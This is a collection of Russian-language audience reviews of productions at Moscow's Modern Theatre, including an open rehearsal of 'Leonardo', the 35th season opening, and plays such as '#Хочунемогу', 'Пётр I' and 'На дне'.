Основное замечание режиссера практически ко всем артистам (даже самым именитым) касалось, прежде всего, достижения верной интонации – а им всем, почему-то, хотелось рассказывать «сказки»…
Обращал внимание Грымов и на точность жестов, реакцию на реплику партнера, на точное попадание актеров в луч прожектора, да и на многое другое.
Представляете, какой титанический труд ждет исполнителей спектакля? Ведь, произнося точно эмоционально и интонационно свой текст им одновременно необходимо следить за своим передвижением по сцене, чтобы в каждом эпизоде воплотить именно ту «картинку», которая и была задуманная режиссером!
На главную роль в спектакль приглашен заслуженный артист РФ Дмитрий Бозин (ведущий актер театра Романа Виктюка) и в зале было много его поклонниц.
Одна из них мне потом посетовала, что была очень удивлена, что даже ДИМЕ режиссер делает замечания!!!
После репетиции Юрий Вячеславович отвечал на вопросы, возникшие у зрителей. Чувствовалось, что, как всегда, им проделана огромная работа по погружению в исторический материал.
Я расстроилась, услышав из его уст легенду о создании скульптуры «Оплакивание Христа» («Ватиканская Пьета», одна из ранних и самых знаменитых работ выдающегося художника эпохи Возрождения, скульптора Микеланджело Буонарроти). Не верю….
Про сам спектакль говорить пока рано, но, уверена, что он будет шедевральным!
А после 15-минутного перерыва состоялся сбор труппы и официально 35-й сезон Театра был открыт (хотя спектакли шли и в августе).
На сборе труппы Юрий Вячеславович:
- поделился планами будущих своих постановок
- познакомил собравшихся с новыми артистами - принятыми в труппу, стажерами и приглашенными, в том числе с исполнителем главной роли в «Леонардо»
- поздравил двух моих любимых актрис Надежду Меньшову и Марию Орлову, с творческими юбилеями ( 25 и 20 лет) и подарил обеим смарт-часы («чтобы не опаздывали», но это шутка, у Грымова в театре железная дисциплина)
- рассказал о запуске в октябре режиссерской лаборатории («Попробуем найти молодых режиссеров, которые сделают эскизы на малой сцене») и открытии платной актёрской мастерской с серией мастер-классов, а также об идее создать первое театральное радио и назвать его «Модерн»
- отдал должное работникам всех цехов – осветителей, костюмеров, гримеров, бутафоров, понимая их важность для достижения конечного результата.
В этом сезоне во главу угла поставят работу пиар-отдела и отдела продаж.
Юрий Вячеславович хочет, чтобы в театр МОДЕРН приходили СВОИ, а не случайные зрители, для этого уже создан «Круг Модерна», стать членом которого можно на сайте через кнопку VIP (https://www.modern-theatre.ru/round.html ). Хотите получать приглашения на закрытые встречи с участием актеров и создателей спектакля? Участвовать в розыгрышах VIP-билетов, промокодов и подарков? Жмите на VIP!!!
Я люблю фанатов своего дела, к которым относится и Юрий Грымов, практически полностью посвятивший себя 5 лет назад Театру Модерн!
Мне импонирует и то, что он, следуя поговорке, что «театр начинается с вешалки», много внимания уделяет созданию в своем Театре особой атмосферы.
Как только зритель переступает порог столетнего исторического здания, расположенного на Спартаковской площади, он окунается в красивый и волшебный мир, где все ласкает его глаз.
Здесь невероятно красивые инсталляции, украшающие зрительские фойе, уютный буфет с оригинальными и вкусными закусками, десертами, сувенирными сладостями ресторана «Луч», а скоро в нем можно будет купить не только новое фирменное пирожное, но и заказать целый торт «Модерн»!
Надеюсь, что вместе с новым директором, Павлом Нестратовым, который более десятка лет работал в аналогичной должности в театре «Новый балет», Грымову удастся вывести Театр Модерн в число самых востребованных в нашей столице!
Искренне желаю ему удачи на этом поприще!

Репетиция и сбор труппы в театре Модерн
Мне всегда было интересно увидеть процесс создания художественного произведения. Интересно наблюдать как художник выбирает краски и кладет их на холст, интересно прислушиваться к работе композитора, когда он подыскивает верную тему, интересно побывать на репетиции и увидеть как создается спектакль. И именно такая возможность недавно была предложена поклонникам театра Модерн: все желающие могли прийти на открытую репетицию спектакля "Леонардо", над которым сейчас работает режиссер Юрий Грымов.
Я видела почти все спектакли Грымова, поставленные им в театре Модерн, каждый раз восхищаясь его неповторимым почерком, особым отношением к световым эффектам, кинематографическими мизансценами и точной работой актеров. И наконец я увидела "кухню" в которой варится новый спектакль. Казалось бы ну что такого: актеры выучили текст, художник нарисовал декорации, режиссер расставил всех по местам. Но хороший спектакль рождается из кропотливой работы казалось бы над незначительными мелочами, когда важен поворот головы и положение рук, когда слово, произнесенное на тон выше или ниже нужного, ломает идею, когда появление каждого актера на сцене выверено до секунды, а световой луч должен точно высветить важную в данный момент деталь.
Репетиция, на которой мы побывали, проходила еще без костюмов, почти без декораций, с минимумом реквизита, но уже на сцене появилось особое настроение будущего спектакля, просматривалась его идея.
Конечно нам показали далеко не все сцены, но увиденное еще больше разожгло мое любопытство: буду теперь с нетерпением ждать премьеру, и обязательно постараюсь на нее попасть.
После репетиции, здесь же, в большом зале театра Модерн состоялся сбор труппы перед новым, тридцать пятым сезоном. Юрий Грымов рассказал о планах на год, о будущих постановках, представил молодых актеров, принятых в труппу. Особенно было приятно, что наряду с актерами, коллективу представили и нового осветителя, бутафора, гримера. Сразу становится понятно, что в театре нет второстепенных людей, труд каждого важен. И только в результате слаженной работы всей команды может появиться на свет настоящий спектакль.

Открытие 35-го сезона и репетиция спектакля в Театре Модерн
Театр «Модерн» открыл 35-й сезон репетицией спектакля «Леонардо». Главную роль сыграет приглашённый артист — артист из Театра Романа Виктюка, заслуженный артист России Дмитрий Бозин.
На торжественном открытии сезона и сборе труппы состоялось представление директора театра ― им стал почётный работник культуры Павел Нестратов. Юрий Вячеславович поделился творческими планами, а их у него очень много:
— открыть актёрскую мастерскую с серией мастер-классов;
— в октябре планируется открыть режиссёрскую лабораторию (чтобы найти новых авторов);
— открыть первое театральное радио на базе театра «Модерн» и обширной музыкальной коллекции художественного руководителя.
Кроме этого планируется несколько премьер в этом сезоне, первой будет «Леонардо» из трилогии «Антихрист и Христос». В конце января начнутся репетиции «Леди Макбет Мценского уезда» по Лескову. К концу сезона планируется показ спектакля «Иуда» ― завершающая постановка трилогии «Антихрист и Христос».
А теперь немного про открытую репетицию. Это настоящее удовольствие для театрала — посмотреть как рождается спектакль, как работает режиссер, как вносятся правки в движения актеров.
Спектакль «Леонардо» посвящен великому художнику, инженеру, изобретателю, гению эпохи Возрождения Леонардо Да Винчи. Пьесу написал Александр Шишов по мотивам романа Дмитрия Мережковского "Воскресшие боги".
Во время репетиции прошел прогон некоторых эпизодов спектакля, сцена с картиной «Тайная вечеря» была сыграна без изображения шедевра Леонардо, но всё равно было очень интересно.
Интересно было увидеть еще одну актрису, которая пришла из другого театра — это Жанна Чирва из Театра на Юго-западе. Очень понравился их дуэт с Юрием Анпилоговым, их Герцог Моро и Беатриче — пара, за которой хочется наблюдать.
Даже по увиденным эпизодам становится понятно, что спектакль будет сложный, наполненный различными символами и сюжетными линиями. Очень заинтриговали слова Юрия Грымова про любовь Леонардо к Джоконде, очень любопытно, как это будет показано в спектакле.
Премьера спектакля запланирована на 17 октября.

Актуальный репертуар, смелые интерпретации, талантливые актёры и постановщики, замечательны персонал, приятная атмосфера, всё это – театр "Модерн"!

Афиша спектакля НИРВАНА так и говорила "тебе нужно это увидеть". И вот мы в зале, свет гаснет, и мы погружаемся в противоречивую, вязкую жизнь юного Курта Кобейна (Богдан Щукин). Перед ним стоит конфликт, знакомый каждому - как выбраться из привычной среды обитания? Хотя Драг (Юрий Анпилогов) и прочит юному таланту успех, хотя и сам зритель знает, что героя ждёт слава, поверить в это практически невозможно. Веришь, что Курт останется в своём привычном мирке, особенно когда в его жизни появляется Кортни Лав (Анастасия Сычева). Но всех их ждёт другая судьба.. На сцене развернутся непростые перипетии их отношений, родительские страхи, трудности славы и, конечно, гибель.
Юрию Грымову мастерски удалось переложить в спектакле историю недавнего прошлого.
Всем - и любителям рока, и тем, кто далёк от этого жанра, но увлечён судьбами людей и не удовольствуется только жвачкой для мозгов, а готов к по-настоящему потрясающей истории - точно стоит заглянуть на спектакль "Нирвана".

Жила деревня. Соседи ходили друг к другу в гости, игрались свадьбы, рождались дети. Но пришла ***** и люди вынуждены делать выбор: как быть дальше?
Сосед Митька стал полицаем. Теперь он учит немецкий и ходит с автоматом. Убивает. Своих же односельчан. А с виду простой колхозник.
Жена его Зина гордится мужем. Кусок хлеба теперь в доме есть. И тушенка. А Москву все равно скоро сдадут и ***** закончится.
Бабушка Катя гадает всем желающим за немаленькую плату. Видит в своем блюдечке живой мужик или уже умер там на фронте.
Продались, в общем. Или нет? Или не все? Может есть у кого-то из них и добрые мотивы?
Приходите на спектакль «Человек с глазами Моцарта», чтобы вспомнить эти страницы *****. Чтобы увидеть людей, которые делают свой моральный выбор и спросить себя: «А как бы я поступил на их месте?».

Спектакли о той ***** - это всегда тяжело. Но забыть о ней нельзя.

О евреях, которых сжигали в сараях. А жалости к ним не было почти ни у кого. Они же жиды.
«Оказывается, жидам нельзя жить в доме, где водопровод. Волосы у них от этого выпадают. А еще нельзя, чтобы у жидов всякие красивые вещи были. Они от них болеют и умирают. А еще им кушать вообще никогда нельзя».

О женщинах, которых угоняли в рабство в Германию, обещая золотые горы. «Говорят, хорошо там будет. И что будет новая культурная жизнь среди культурных людей, чтоб кормить три раза в день. И подушки там белые-белые, и в каждой комнате свой отдельный душ!».

Но главное он о самоотверженности и любви. И о музыке. «Музыка сильнее голода. Должна быть сильнее. А иначе какие же мы люди тогда…».

В этом спектакле почти нет привычных декораций, но есть свет. Огромная тень от винтовок. Всполохи огня в сараях. Вспышка света в финальной сцене, когда все становится понятно без слов. Свет, звук и ювелирная актерская работа погружают в атмосферу тех тяжелых дней и заставляют переосмысливать привычное. Спасибо, Модерн.

Сергей Аронин, хорошо знакомый мне по постановкам совершенно иного склада (а он ставит спектакли не только на театральных подмостках, но и в созданном им Творческом комбинате «Aronin Space»), выпустил в прошлом году на Малой сцене театра МОДЕРН спектакль по пьесе Елены Исаевой «Я боюсь любви», осовременив ее название хэштегом #Хочунемогу и участвует в нем также как актер, композитор и музыкант.
Получилась абсолютно авторская и очень дорогая для него работа (как он отметил в одном из своих интервью).
Спектакль #Хочунемогу живой, эмоциональный, с юмором, грустью и иронией.
Современным языком в ритме, созвучном темпу жизни городского человека, спектакль рассказывает о любви.
Сюжет пьесы Елены Исаевой основан на реальных историях, которые можно лицезреть на улице, на работе, во дворе, дома. Наверняка, каждый зритель во время спектакля не раз вздрогнет, узнав своих близких, а может даже и себя самого, в одном из ее персонажей (а их здесь очень много!)
Именно в узнавании, а не в остро поставленных проблемах, новых мыслях или сюжетных поворотах и кроется обаяние этого спектакля.
#Хочунемогу идет с неизменными аншлагами. В небольшой зрительный зал ставят по бокам дополнительные стулья и все рано, вместить всех желающих он не в состоянии.
Хотелось бы, чтобы спектакль перенесли на Большую сцену, но в нем настолько интимная атмосфера, такой тесный контакт со зрительным залом, потерять которые было бы очень жаль…
Постановку Сергея Аронина сопровождает живой аккомпанемент и вокал – и все это силами самих артистов!!!
А актерский ансамбль здесь просто изумительный. Актеры настолько соответствуют своим героям, что создается впечатление, будто на сцене давно знакомые тебе люди.
Главных героинь исполняют ведущие актрисы театра «Модерн», знакомые зрителям по многим его спектаклям, в которых они выступают, зачастую, совсем в ином амплуа:
Мария Орлова играет журналистку Анну, романтичную максималистку, готовую радикально изменить свою судьбу всего лишь после одной ночи, проведенной со случайным мужчиной.
Надежда Меньшова – ее подругу Надю, тоже обделенную женским счастьем, от лица которой и ведется рассказ:
«Этот один день из жизни моей подруги вместил в себя все ее переживания последних лет. Не только ее, и мои, и других людей - по касательной. Вся эта безнадега сконцентрировалась, уплотнилась, повисла в воздухе…»
Бесконечные дифирамбы можно петь буквально всем исполнителям этого, на мой взгляд, шедеврального спектакля!
Их короткие зарисовки (а на долю почти всех артистов выпало не по одному персонажу) полны наблюдательности, а точно схваченные буквально в нескольких чертах - в интонации, жесте, пластике - характеры мгновенно узнаются.
Я очень благодарна Сергею Аронину за возможность насладиться игрой двух потрясающих клоунесс, число ролей которых на московских подмостках, к сожалению, можно «по пальцам пересчитать». Это заслуженная артистка России Анастасия Светлова (сценаристка, секретарь-Галина, художница Марина) и заслуженная артистка России Маргарита Шилова (бывшая жена Сергея, иллюстратор Валя, мама Ани).
Открыла для себя еще одну интересную актрису - Александру Богданову -- только дома, заглянув в программку, поняла, что помимо секретарши Наташи и молодой любовницы Сергея –Вики, она же играла и дочку Анны – Шурку. Я была на 100% уверена, что на эту роль был приглашен чей-то ребенок!!! Браво!
Спектакль, быть может, кому-то поможет понять, стоит ли бояться любви, потому что от нее может быть и больно, или стоит бояться ее отсутствия, потому что сердцу от тоски и одиночества больно уже сейчас…
Уверена, что #Хочунемогу оставит глубокий след в душе любого зрителя, если только к нему в сердце не попал осколок дьявольского зеркала, превративший его в кусок льда…

Очень я люблю, когда в спектакле один актер играет сразу несколько ролей. Мне всегда интересно наблюдать за мгновенным и порой диаметрально противоположным перевоплощением. А если это сделано талантливо, сразу начинает казаться, что это не результат длительных репетиций, а легкая, изящная сиюминутная импровизация. Такой спектакль я как раз посмотрела на днях. Очередное посещение любимого театра "Модерн" и очередное открытие. Кто-нибудь знает, у них вообще неудачные спектакли бывают? Я вот сколько раз была, пока не застала. На этот раз бразды правления отданы Юрием Грымовым  режиссеру Сергею Аронину. И что же? Все тот же замечательный результат! Я вот думаю, может дело в какой-то особой атмосфере внутри театра? Или просто когда люди делают свое дело с любовью, то вот так все и получается?
Сегодня о спектакле "#хочунемогу", хотя сложно назвать то, что я увидела, просто спектаклем.
"#хочунемогу" - это какая-то невообразимая смесь стендапа, кабаре, буффонады и бог знает чего еще, и при этом абсолютно цельное и четко выстроенное произведение. А сюжет то, казалось бы, проще не бывает. История примерно десятка людей и их отношений между собой. Встретились, познакомились, полюбили, разлюбили, расстались. Всё. Но не поверите, час сорок без антракта мы, как зачарованные, следим за тем, как распутывается этот бесконечный клубок встреч и расставаний. Все ниточки в клубке разные, но есть что-то, что их сматывает вместе. Все герои так или иначе пытаются найти любовь и при этом боятся ее. И расстаются то  может по большей части из-за того, что не смогли этот страх перебороть. А кстати, пьеса Елены Исаевой, по которой поставлен спектакль, так и называется "Я боюсь любви!" Расклад примерно такой: Надя(Надежда Меньшова) ведет рассказ об одном дне из жизни своей подруги Ани(Мария Орлова). Аня знакомится с Сергеем(Алексей Баранов) и  скоропостижно влюбляется в него. Сергей отягощен отношениями с бывшей женой и парочкой любовниц, а Аня с бывшим мужем и уже нелюбимым партнером. Короче, не скучают ребята. И успевают еще каким-то образом трудиться, воспитывать детей и делать карьеру. А вокруг главных героев тоже свои клубочки закручиваются. Ане коллеги и подруги плачутся в жилетку, жалуясь на свои любовные неурядицы, Сергея мучает бывашая жена, уговаривая снова сойтись, Надю мучает нынешний партнер, предлагая расстаться, коллеги по работе и родственники с обеих сторон тоже беспокойства подбрасывают. Идет нормальная  будничная работа над добыванием счастья в жизни. Кому-то удается, кому-то, извините, нет!
Но вот даже и не очень важно, что у них там происходит между собой, они в конце концов как-нибудь разберутся.  Важно скорее то, как это рассказано. И не просто рассказано, а еще и спето! Спектакль невероятно музыкальный, поют практически все. Но как они это делают! У каждой героини свое музыкальное высказывание, а если учесть, что некоторые актрисы играют по несколько ролей, по два, а то и три. Вот она одна из коллег-сотрудниц Ани из редакции в огромной лисьей шапке а-ля Барбара Брыльска, а вот уже утомленная славой звезда с неизменным мундштуком и в чалме (Марина Дианова). Вот она нелепая громогласная секретарша Сергея, а вот уже сценаристка с трудной женской судьбой, 66-я по списку у своего любовника или вдруг богемная художница с влюбленным в нее мужчиной намного моложе (Анастасия Светлова). Вот она какая-то сильно дерганая бывшая жена Сергея, изменившая ему от страха, что он ее бросит, а вот мать Ани, которая много лет скрывает интрижку с женатым соседом(Маргарита Шилова) и т.д.и т.п
Музыкальные вставные номера настолько точно вплетены в канву действия, что кажутся абсолютным продолжением произносимых текстов. А жанры у них самые разнообразные - от лирики до гротеска. Характеры героев в них раскрываются еще ярче, активнее, смелее. Живая музыка во время действия на сцене - что может быть чудеснее. Пожалуй только бездна юмора, с которой все это говорится и поется.
У каждого героя и главного и, в большей степени даже второстепенного, найдены настолько точные черточки поведения и характера, что в самом малюсеньком монологе или даже одной фразе они способны выразить главное. А в сущности, все их личные проблемы до боли знакомы, понятны и привычны.
В качестве резюме могу посоветовать спектакль "#хочунемогу" в виде таблетки от стресса, безвредного лекарства от плохого настроения и неурядиц на любовном фронте. Посмотришь, как весело и музыкально другие страдают, и вроде у тебя тоже все не так плохо в жизни. Может попробовать не бояться любви и все еще наладится, а?...

Очень я люблю, когда в спектакле один актер играет сразу несколько ролей. Мне всегда интересно наблюдать за мгновенным и порой диаметрально противоположным перевоплощением. А если это сделано талантливо, сразу начинает казаться, что это не результат длительных репетиций, а легкая, изящная сиюминутная импровизация. Такой спектакль я как раз посмотрела на днях. Очередное посещение любимого театра "Модерн" и очередное открытие. Кто-нибудь знает, у них вообще неудачные спектакли бывают? Я вот сколько раз была, пока не застала. На этот раз бразды правления отданы Юрием Грымовым  режиссеру Сергею Аронину. И что же? Все тот же замечательный результат! Я вот думаю, может дело в какой-то особой атмосфере внутри театра? Или просто когда люди делают свое дело с любовью, то вот так все и получается?
Сегодня о спектакле "#хочунемогу", хотя сложно назвать то, что я увидела, просто спектаклем.
"#хочунемогу" - это какая-то невообразимая смесь стендапа, кабаре, буффонады и бог знает чего еще, и при этом абсолютно цельное и четко выстроенное произведение. А сюжет то, казалось бы, проще не бывает. История примерно десятка людей и их отношений между собой. Встретились, познакомились, полюбили, разлюбили, расстались. Всё. Но не поверите, час сорок без антракта мы, как зачарованные, следим за тем, как распутывается этот бесконечный клубок встреч и расставаний. Все ниточки в клубке разные, но есть что-то, что их сматывает вместе. Все герои так или иначе пытаются найти любовь и при этом боятся ее. И расстаются то  может по большей части из-за того, что не смогли этот страх перебороть. А кстати, пьеса Елены Исаевой, по которой поставлен спектакль, так и называется "Я боюсь любви!" Расклад примерно такой: Надя(Надежда Меньшова) ведет рассказ об одном дне из жизни своей подруги Ани(Мария Орлова). Аня знакомится с Сергеем(Алексей Баранов) и  скоропостижно влюбляется в него. Сергей отягощен отношениями с бывшей женой и парочкой любовниц, а Аня с бывшим мужем и уже нелюбимым партнером. Короче, не скучают ребята. И успевают еще каким-то образом трудиться, воспитывать детей и делать карьеру. А вокруг главных героев тоже свои клубочки закручиваются. Ане коллеги и подруги плачутся в жилетку, жалуясь на свои любовные неурядицы, Сергея мучает бывашая жена, уговаривая снова сойтись, Надю мучает нынешний партнер, предлагая расстаться, коллеги по работе и родственники с обеих сторон тоже беспокойства подбрасывают. Идет нормальная  будничная работа над добыванием счастья в жизни. Кому-то удается, кому-то, извините, нет!
Но вот даже и не очень важно, что у них там происходит между собой, они в конце концов как-нибудь разберутся.  Важно скорее то, как это рассказано. И не просто рассказано, а еще и спето! Спектакль невероятно музыкальный, поют практически все. Но как они это делают! У каждой героини свое музыкальное высказывание, а если учесть, что некоторые актрисы играют по несколько ролей, по два, а то и три. Вот она одна из коллег-сотрудниц Ани из редакции в огромной лисьей шапке а-ля Барбара Брыльска, а вот уже утомленная славой звезда с неизменным мундштуком и в чалме (Марина Дианова). Вот она нелепая громогласная секретарша Сергея, а вот уже сценаристка с трудной женской судьбой, 66-я по списку у своего любовника или вдруг богемная художница с влюбленным в нее мужчиной намного моложе (Анастасия Светлова). Вот она какая-то сильно дерганая бывшая жена Сергея, изменившая ему от страха, что он ее бросит, а вот мать Ани, которая много лет скрывает интрижку с женатым соседом(Маргарита Шилова) и т.д.и т.п
Музыкальные вставные номера настолько точно вплетены в канву действия, что кажутся абсолютным продолжением произносимых текстов. А жанры у них самые разнообразные - от лирики до гротеска. Характеры героев в них раскрываются еще ярче, активнее, смелее. Живая музыка во время действия на сцене - что может быть чудеснее. Пожалуй только бездна юмора, с которой все это говорится и поется.
У каждого героя и главного и, в большей степени даже второстепенного, найдены настолько точные черточки поведения и характера, что в самом малюсеньком монологе или даже одной фразе они способны выразить главное. А в сущности, все их личные проблемы до боли знакомы, понятны и привычны.
В качестве резюме могу посоветовать спектакль "#хочунемогу" в виде таблетки от стресса, безвредного лекарства от плохого настроения и неурядиц на любовном фронте. Посмотришь, как весело и музыкально другие страдают, и вроде у тебя тоже все не так плохо в жизни. Может попробовать не бояться любви и все еще наладится, а?...

"Понты"
Этой ночью машины в гараж не вернутся назад
Этой ночью машины делают, что захотят
Этой ночью они удалятся на пляжи машин
Где тёплый бензин лижет подошвы шин
(с) Илья Кормильцев

В театре Модерн показывают сказку для взрослых, в которой оживают автомобили. Это очень грустная сказка, ведь машины, которые были когда-то любимы своим хозяевам, оказались в гараже практически никому ненужные... а они так хотят, чтобы за ними пришли... А пока только разговоры, только воспоминания о прошлой жизни. О короткой, яркой и бессмысленной как у Ламбаргини. Долгой и вполне радостной у бабушки Тойоты, потому что ей досталось самое дорогое — любовь человека... Она нашла своего Человека, она выполнила свою миссию...

Остальным повезло сильно меньше... Пока я слушала истории их жизни, то в голове все отчетливее всплывал сюжет всем знакомой сказки Г.Х. Андерсена про Ель, помните такую... Новые времена, у людей новые игрушки, а суть та же... «Все на свете имеет свой конец», так заканчивается старая сказка, по сути так же должен был закончиться спектакль Понты... Но Рина Ю (автор) или Юрий Грымов (режиссер-постановщик), решили подарить своим героям вторую жизнь, а всем зрителям надежду... Даже спектакль сменил название с «Кладбища понтов», на просто «Понты»...

Как такое возможно, и чем занимаются машины, после того, как все закончилось, я рассказывать не буду... Пусть останется маленькая интрига :) Спектакль яркий, интересный, думаю, очень придется по душе всем автолюбителям... но не только... Потому что как всякая сказка, спектакль «Понты» имеет в себе несколько слоев, и каждый зритель найдет в нем свою историю и свою крупинку истины... В финале звучит очень подходящая песня «Машины» группы Танцы минус. С цитаты я начинала, цитатой и закончу:

Ты научил их всему, чему мог
И машинам больше не нужен их Бог
Ты не успел научить их любить
Но это вполне понятно

Очень правильные слова... А почему мы не можем научить их любить, к сожалению, действительно очень даже понятно... Вот уже 2000 лет мы пытаемся научиться любить ближнего своего, да что-то плохо получается... Спектакль отличный повод ещё раз задуматься про эту глобальную проблему человечества.
Дополнительным удовольствием было побывать в театре Модерн, где каждый уголок сделан КРАСИВО! хотя и с определенными понтами, но куда же без этого в театре Юрия Грымова...

По возвращению из северной Пальмиры, нашей культурной столицы, мы опустились на самое дно в Москве. Куда бы, вы думали?
На Рублевку…Именно сюда, нас перенес творческий замысел режиссера Ю. Грымова
Итак, каково это залечь на дно в Модерне?
Вы удивитесь, но мало что поменялось за 120 лет, с того момента, как М. Горький написал свою пьесу. Почему люди оказываются на самом дне жизни? Кто виноват? Человек творец своей судьбы, или заложник обстоятельств? Тема и вопросы, актуальные на все времена. Лишь место действия может меняться. Еще в школе, когда я корпела над этим произведением, я считала, что именно нищета не дает возможности оставаться людьми и не оставляет шансов на лучшую жизнь. Бытие определяет сознание. А вот, Ю. Грымов, показал, что нищета души, бедность моральных устоев, возможна и в окружении брендовых вещей, крутых гаджетов, сытой и роскошной жизни. Можно поменять грязные лохмотья жителей ночлежки на дизайнерские вещи от кутюр, саму ночлежку превратить в шикарный особняк, наполненный дорогими вещами, но маяту и жажду лучшей, светлой жизни нельзя заглушить дорогим алкоголем, хамоном, массажем и йогой. Друзья, так поставить классику, чтобы это было современно, злободневно, стильно, но сохранить при этом оригинальный текст автора, это – непростая задача. Но вся команда театра Модерн справилась с ней на все 100%! При входе в зрительный зал замечаешь, что актеры на сцене уже живут своей жизнью. Действие началось. Малый зал, в котором идет спектакль, убирает внутренние границы. Герои общаются, снимают себя и нас на телефоны, как и мы их. Быть может, мы и есть эти самые герои? Ощущение, что это не спектакль, а зазеркалье, застеколье, так привычные для нас ток-шоу. Мы можем наблюдать, как люди за показушным весельем, прячут страх и тоску, ведут беседы о смысле бытия, пытаются вырваться из совместного места обитания, а кто-то и жизни. Два основных конфликта в действии: социальный - между жителями Рублевки и философский – где герои обсуждают основные вопросы бытия, волнующие их.
Костюмы, которые хочется рассматривать, прекрасная сценография, игра света и тени – узнаваемый почерк режиссера. Портал, который иногда открывался и манил, может быть в иной, лучший мир, а музыкальное сопровождение! Здесь и сатира и вера в лучшее будущее. Среди безнадеги мы слышим «Wonderful World», а в финале, когда думаешь, что же будет дальше со всеми нами, играет хит «Sunny» Boney M. Вот она - надежда, что пасмурные дни прошли, настал черед солнечных дней. Как всегда великолепная игра актеров. Отдельно хочу выделить А.Толмачева, сыгравшего роль старца Луки. Не стану раскрывать все секреты, но это 5 баллов! Татарин выбран так же очень "нестандартно". Я осталась под впечатлением от спектакля " На дне". Уверена, что каждый человек задается вопросом, а может ли он изменить обстоятельства, или лучше подстроиться под них, насколько важен внутренний стержень и действительно ли так нужна правда, пусть и горькая.

Юрий Грымов задумал поставить в возглавляемом им театре «Модерн» трилогию «Антихрист и Христос». «Леонардо» и «Иуда» живут пока только в задумках режиссера, а вот первый спектакль трилогии, «Пётр» (или «Пётр I»), уже увидел свет. Премьера состоялась почти год назад, но я добралась до него только вчера.
Что сказать – очень неожиданная постановка. Во-первых, сам Петр. Мы привыкли с детства к тому, что царь Петр – Великий. Великий реформатор, великий строитель, великий завоеватель и т.д. Но только с годами начинаешь задумываться, а как давались все эти реформы. Петр поднял Россию с колен? Или поднял на дыбЫ? Или на дЫбы? Какой ценой дались все его деяния его современникам? Причем и простому люду, тысячами угробленному на ****** и на строительстве Петербурга, и боярам, вынужденным лишиться многого из того, что было для них дорого и свято. Я уже молчу про стрельцов. Слом веры, слом традиций. И, если вдуматься, а что это дало? Смотрела на сцену и думала, что ничего за столько лет не изменилось. То же воровство, та же коррупция, те же ручные и послушные воле правителя сенат и суд. Вообще очень много параллелей возникает. И зачем было брить бороды? Надевать принудительно парики и европейские кафтаны? Зачем все эти чисто внешние реформы, что они дали, кроме негатива? К чему эта бескомпромиссность – ну пусть бы староверы верили, как раньше, неужели лучше, что они сбегали в Сибирь и сгорали там целыми деревнями во имя веры.
И сам Петр – по большому счету, несчастный. больной и одинокий человек (недаром Грымов читает название своего спектакля не только как «Петр Первый», но и как «Петр Один». Вокруг царя люди, много, но никто не любит его – человека. Поклоняются, бояться, пресмыкаются, изменяют, предают, пользуются, что угодно, но не любят. Да и как его любить. Не знаю, как в жизни, но в спектакле он – ужасен. Несчастен и ужасен одновременно, да. Готовый убивать своими руками, готовый жертвовать сыном и внуком… Готовый пользоваться информацией от продажного попа, нарушающего тайну исповеди (как бЭ оба, и царь, и поп – не последние христиане, да?) Недаром в его окружении возникают люди, в глаза и за глаза называющие его Антихристом. Считающие, что он несет России тьму, а не свет.
И на сцене чаще темно. Только иногда ее пронизывают лучи света. Да лубочное альтер-эго Петра нет-нет, да и появляется в ярком свете. И начинается спектакль с мрачного утра стрелецкой казни. А заканчивается убийством сына… Ни своих не щадим, ни чужих.
Вообще, постановка рассчитана на зрителя, имеющего хоть какое-то представление об истории. Спектакль не повествует нам о событиях тех лет, он только иллюстрирует их, быстро переходя из года в год. Я бы сравнила постановку с калейдоскопом. Вот мы рассматриваем один рисунок, а вот стекла перемешались, и перед нами совсем другая картинка. Кадры чередуются, заботясь только о своей красоте, но не о том, насколько понятно происходящее. Иногда, в отдельных сценах, появляется какой-то психологизм, но чаще – это такой театр Кабуки, где главное – картинка.
А картинка создается, в большой степени, за счет совершенно чумовых костюмов. Можно как угодно воспринимать постановку, но невозможно не оценить шедевральные наряды. Читала, что некоторые платья создавались на 3Д-принтере. Всего костюмов около трехсот. И сделаны они с кропотливой точностью – все эти шитые золотом камзолы, рюши, украшения. Очень дорого, очень богато и при этом не аляписто. Гипертрофированы только парики – сидела в душном зале и от души сочувствовала актерам, вынужденным носить на голове эти сооружения. Я, если честно, из-за этих париков даже не сразу опознала, что Петр появился на выходе уже с Екатериной – женой (в первый момент подумала, что это Анна Монс), хотя сидела в первом ряду. Ну говорю же, действие скачет калейдоскопом, не в первую секунду въезжаешь, где ты и в каком году, впору пояснение - либретто писать для тех, кто забыл историю.
Помимо костюмов, атмосфера спектакля создается и отлично подобранной музыкой. Знаете, как бывает – слышишь музыку и понимаешь – что-то будет…
Декораций практически нет, так, несколько лавок, пара стульев – тронов. И кусты – шары. Вот образ этих шаров явно предполагает какой-то второй смысл, но я не разгадала, какой именно. То ли такой каток судьбы, рок. То ли сизифов камень. Не знаю.
Основная декорация – народ. Для царя он – расходный материал, статисты. В Сибири поживей и покрепче, туда отправимся воинов набирать, дома попокладистее. Но все – просто подданные, крепостные или вольные, все – орудие производства. Даже странно, как это он заметил свою Катерину (да, собственно, и не он изначально заметил). Как насмешка судьбы – и царь, и его сын – в паре с простолюдинками.
Вот, кстати, о сыне. Очень понравился актер, игравший Алексея, Владислав Свиридов. Его персонажу веришь и сочувствуешь.
Хорош и исполнитель главной роли – Юрий Анпилогов. Играет, не щадя себя, рвя душу и терзая тело. Браво!
И не могу не отметить исполнителя маленькой, но заметной благодаря актеру, роли Кенигсека – Сергея Аронина.
Именно из-за этих трех актеров и ради костюмов можно идти смотреть этот спектакль. Не скажу, что он мне безоговорочно понравился (второе действие зашло лучше, в первом привыкала к постановке)), но внимания постановка явно заслуживает и вечер был проведен с пользой).

"Масквичи"

На самом деле, я с большой настороженностью отношусь к современным пьесам в театре, но премьерная комедия (уже прошлого сезона) «Масквичи» в театре «Модерн», согласно информации на сайте, создана в духе социальных комедий Георгия Данелии, и я решила рискнуть. Постановка, действительно, настолько современная, что ее герои как будто наши знакомые или соседи. Понятно, что все достаточно шаблонны, но это правда наша реальность, поэтому я в нее безоговорочно поверила. Задача спектакля – показать в комедийном ключе разницу между поколениями, которая усиливается тем, что выросшие дочери уже много лет живут в США. Такие, «Отцы и дети» нашего времени, и это очень смешно!

